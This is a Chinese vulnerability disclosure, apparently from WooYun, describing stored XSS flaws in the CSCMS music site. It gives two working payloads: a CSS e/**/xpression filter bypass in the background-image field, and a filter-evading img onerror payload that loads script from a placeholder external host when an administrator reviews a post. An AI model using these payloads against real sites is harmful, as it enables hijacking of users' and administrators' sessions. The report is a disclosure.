### 简要描述:
雨师傅叫我看的,所以我就挖了
### 详细说明:
首先 我们来回顾下 [WooYun: 程氏舞曲储存型xss(3)附后台getshell](http://www.wooyun.org/bugs/wooyun-2014-052911)
我曾说过“ 基本可以确定 是判断 <>内 是否存在 script onerror onclick。。。等关键字。 这样就很好办了, 找到一个位于html 标签属性内的可控点 就行了”
ok, 先前的修补了, 双引号被实体编码。
一:
首先, 按照 以前的思路 很快 我们 得到第一处 xss。
http://localhost/index.php/user/edit/web_save
修改主页背景。 cs_bgpic可控 且 带入到了 我们用户的 主页html文件中 的 style标签。
```
<body style="background-image:url(cs_bgpic")">
```
提交e/**/xpression绕过对 expression 的过滤
test:
```
cs_bgpic=njhbh);a:e/**/xpression(setTimeout(String.fromCharCode(97,108,101,114,116,40,49,41))
```
[<img src="https://images.seebug.org/upload/201405/1105482727465e0cceb4593c567ff7061867603a.jpg" alt="cs2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1105482727465e0cceb4593c567ff7061867603a.jpg)
[<img src="https://images.seebug.org/upload/201405/1105484563297ccc80f310811795ec0929b040b8.jpg" alt="cs1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1105484563297ccc80f310811795ec0929b040b8.jpg)
当然,这个是有条件限制的 仅限于ie浏览器 且 <=ie7
二:场景限制什么的 最讨厌了。通用型的 才是王道。
仔细想了想,按照程序猿的思路 ,发表文章的 富文本既然是 检测<>标签内的话。。
我们可以这样 提交
```
<img src="x"alt="/>"onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx'>
```
巧妙的利用 img 标签内 alt属性没被过滤, 双引号 包裹住"/>". 在浏览器 解析下 “/>”会被当做alt的属性值 ,然而 ,在 程序的 检测下 ”onerror已经脱离标签外 看起来无害了“。
test:
[<img src="https://images.seebug.org/upload/201405/110600476e99925fbbdad0a08c7f40f0b68a81c4.jpg" alt="cs3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/110600476e99925fbbdad0a08c7f40f0b68a81c4.jpg)
审核查看文章时。触发
[<img src="https://images.seebug.org/upload/201405/1106013634ba90839a2877e762b3a833a7979925.jpg" alt="cs4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1106013634ba90839a2877e762b3a833a7979925.jpg)
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201405/1106013634ba90839a2877e762b3a833a7979925.jpg" alt="cs4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1106013634ba90839a2877e762b3a833a7979925.jpg)
[<img src="https://images.seebug.org/upload/201405/1105484563297ccc80f310811795ec0929b040b8.jpg" alt="cs1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1105484563297ccc80f310811795ec0929b040b8.jpg)
暂无评论